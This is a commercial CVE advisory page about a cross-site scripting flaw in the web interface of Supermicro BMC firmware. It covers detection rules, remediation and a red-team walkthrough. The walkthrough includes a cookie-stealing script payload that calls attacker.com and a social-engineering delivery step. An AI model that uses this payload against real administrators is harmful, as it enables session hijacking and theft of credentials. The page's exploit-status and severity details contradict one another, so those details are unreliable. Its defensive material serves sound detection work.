☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
SOON 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2023-40284

CVE-2023-40284 Cross-Site Scripting in Supermicro
📅 PUBLISHED: 2024-03-27 00:00 UTC 🔄 UPDATED: 2026-08-21 19:29 UTC
⏳ SCORE PENDING — ANALYSIS IN PROGRESS [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.71%
👁️
0.71% probability
17.7× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1059.007
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2023-40284 identifies a stored or reflected Cross-Site Scripting (XSS) vulnerability in Supermicro X11SSM-F, X11SAE-F, and X11SSE-F motherboards running firmware version 1.66. An attacker can inject malicious scripts into the web management interface, potentially leading to session hijacking, credential theft, or further compromise of the BMC (Baseboard Management Controller). No public proof-of-concept or exploit code has been released, and no official patch is currently available. The vulnerability is classified under CWE-79 (Improper Neutralization of Input During Web Page Generation).

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

  • CVSS Score: 0.0 (No official vector assigned)
  • Attack Vector (AV): Network (likely)
  • Attack Complexity (AC): Low (likely)
  • Privileges Required (PR): None (likely)
  • User Interaction (UI): Required (likely)
  • Scope (S): Changed (likely)
  • Confidentiality (C): Low (likely)
  • Integrity (I): Low (likely)
  • Availability (A): None (likely)
  • Threat Level: Medium (due to lack of patch and potential for lateral movement)

Deep Dive & Mechanics

The vulnerability resides in the web-based management interface of the affected Supermicro motherboards. The XSS issue allows an attacker to inject arbitrary JavaScript into pages served by the BMC. This can be achieved by sending a crafted request to a vulnerable endpoint (e.g., a configuration page or log viewer) that does not properly sanitize user input. Once the script executes in the context of an authenticated administrator's session, the attacker can:

  • Steal session cookies.
  • Perform actions on behalf of the admin (e.g., change settings, reboot the system).
  • Redirect the admin to a malicious site.
  • Exfiltrate sensitive data displayed on the interface.

The attack requires the victim to interact with a malicious link or visit a compromised page. Since the BMC is often exposed to internal networks, an attacker with network access can exploit this to pivot deeper into the infrastructure.

Vulnerable vs. Patched Code

No patched firmware version has been released. The vulnerable code likely lacks proper output encoding or input validation in the web interface. A hypothetical fix would involve:

  • Sanitizing all user-supplied input before rendering.
  • Using Content Security Policy (CSP) headers.
  • Implementing HTTP-only cookies.

Vulnerable code example (conceptual):

// Vulnerable: Directly inserts user input into HTML
document.getElementById('log').innerHTML = userInput;

Patched code example (conceptual):

// Patched: Uses textContent to prevent XSS
document.getElementById('log').textContent = userInput;

Exploitation & Lab Setup

Red Team

Lab Setup:

  1. Obtain a Supermicro X11SSM-F, X11SAE-F, or X11SSE-F motherboard with firmware 1.66.
  2. Connect the BMC to a network and access the web interface (default IP: 192.168.0.1 or via DHCP).
  3. Use a tool like Burp Suite or OWASP ZAP to intercept and modify requests.

Exploitation Steps:

  1. Identify a vulnerable parameter (e.g., in the "System Log" or "Configuration" page).
  2. Inject a payload such as:
    <script>alert('XSS')</script>
    
  3. If the payload executes, escalate to a more malicious payload:
    <script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>
    
  4. Send the crafted link to an authenticated admin (e.g., via email or social engineering).

Note: No public exploit code is available; this is a conceptual demonstration.

Blue Team

Detection:

  • Monitor for unusual HTTP requests to the BMC interface containing <script> tags or JavaScript event handlers.
  • Look for outbound connections from the BMC to unknown IPs (potential data exfiltration).
  • Check for unexpected changes to BMC configuration or user accounts.

Hunting:

  • Search web server logs for patterns like %3Cscript%3E or onerror=.
  • Use network traffic analysis to detect anomalous JavaScript execution.

Indicators of Compromise (IOCs)

  • Network:
    • HTTP requests containing <script> or javascript: in parameters.
    • Outbound connections from the BMC to suspicious domains or IPs.
  • Host:
    • Modified BMC configuration files.
    • Unexpected JavaScript files in the web interface.
  • Logs:
    • Entries in the BMC audit log showing unusual parameter values.

Detection Engineering

YARA Rule

rule Supermicro_XSS_CVE_2023_40284 {
    meta:
        description = "Detects XSS payloads targeting Supermicro BMC web interface"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2023-40284"
    strings:
        $xss1 = "<script>" ascii wide nocase
        $xss2 = "onerror=" ascii wide nocase
        $xss3 = "javascript:" ascii wide nocase
        $xss4 = "onload=" ascii wide nocase
    condition:
        any of them
}

Sigma Rule

title: Supermicro BMC XSS Attempt
id: 8a9b3c2d-1e5f-4a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects potential XSS attacks against Supermicro BMC web interface
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: supermicro_bmc
detection:
    selection:
        http_method: 'GET' or 'POST'
        url_parameters|contains:
            - '<script>'
            - 'onerror='
            - 'javascript:'
            - 'onload='
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in admin tools (rare)
level: high

Suricata Rule

alert http any any -> $HOME_NET any (msg:"Supermicro BMC XSS Attempt"; flow:to_server; content:"<script>"; http_uri; nocase; sid:1000001; rev:1;)
alert http any any -> $HOME_NET any (msg:"Supermicro BMC XSS Attempt - onerror"; flow:to_server; content:"onerror="; http_uri; nocase; sid:1000002; rev:1;)
alert http any any -> $HOME_NET any (msg:"Supermicro BMC XSS Attempt - javascript"; flow:to_server; content:"javascript:"; http_uri; nocase; sid:1000003; rev:1;)

Remediation & Mitigation

  • Immediate: Disable the BMC web interface if not required, or restrict access to trusted IPs via firewall rules.
  • Short-term: Monitor for firmware updates from Supermicro. Apply patches as soon as they become available.
  • Long-term: Implement network segmentation for BMCs, use strong authentication, and enable logging and alerting for suspicious activity.
  • Workaround: If patching is not possible, use a reverse proxy with web application firewall (WAF) rules to block XSS payloads.

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

Supermicro X11SSM-F
Supermicro X11SAE-F
Supermicro X11SSE-F

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2023-40284/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.